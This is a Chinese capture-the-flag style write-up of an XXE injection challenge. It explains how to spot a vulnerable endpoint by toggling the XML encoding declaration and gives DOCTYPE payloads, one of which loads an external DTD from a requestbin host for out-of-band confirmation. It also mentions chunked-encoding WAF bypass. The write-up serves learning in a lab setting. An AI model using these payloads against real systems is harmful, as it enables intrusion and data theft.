挑战赛规则就不说了,大概就是每人50个uuid,这50个uuid里有一个是存在xxe漏洞的,我们需要找到并证明xxe存在
XXE漏洞我就不多介绍了,但XXE有一个可有可无的定义头
<?xml version="1.0" encoding="UTF-8"?>
这里定义头可有大文章,百度可知xml语言支持很多种类型的编码,UTF-8、ASCII、ISO-8859-1等等
我们如果想判断此处有没有可能存在XXE,只需要改变编码为xml不支持的格式,这里如果报错了
改成支持的编码格式正常解析了,就说明此处是可能存在xxe漏洞
然后利用这个方式,将50个uuid遍历一遍,找到可能存在XXE的uuid
找到了对应uuid后首先判断是否能成功解析xml语句
这时随便构造一个格式正确的xml语句,返回是正确的
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE db_connect [
<!ELEMENT db_connect (db_user,db_password,jdbc_connect,db_type)>
<!ELEMENT db_user ANY>
<!ELEMENT db_passwordrom ANY>
<!ELEMENT jdbc_connect ANY>
<!ELEMENT db_type ANY>
]>
<db_connect><db_user>0</db_user><db_password>0</db_password><jdbc_connect>0</jdbc_connect><db_type>0</db_type></db_connect>
这是因为解析错误的xml语句,所以导致报错,然后就能证明这里真真解析xml了。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE db_connect SYSTEM "123.dtd">
<db_connect><db_user>0</db_user><db_password>0</db_password><jdbc_connect>0</jdbc_connect><db_type>0</db_type></db_connect>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE db_connect SYSTEM "http://http.requestbin.buuoj.cn/16am1l41">
<db_connect><db_user>0</db_user><db_password>0</db_password><jdbc_connect>0</jdbc_connect><db_type>0</db_type></db_connect>
这里我本来打算用分块传输的方式绕过waf,但是失败了
而我本地搭建了一个php的xxe环境,测试分块传输是可以正常解析xml语句的
可能是阿里云这个靶场的后端不支持分块传输的内容吧,但以后遇到其他waf可以尝试一下。
到这里,waf算是绕过了,但也不算绕过。主要是分享一下打这靶场后产生的思路,更有利于渗透过程中快速判断是否能打XXE。
原文始发于微信公众号(XG小刚):入侵检测挑战赛第二期-XXE注入wp
评论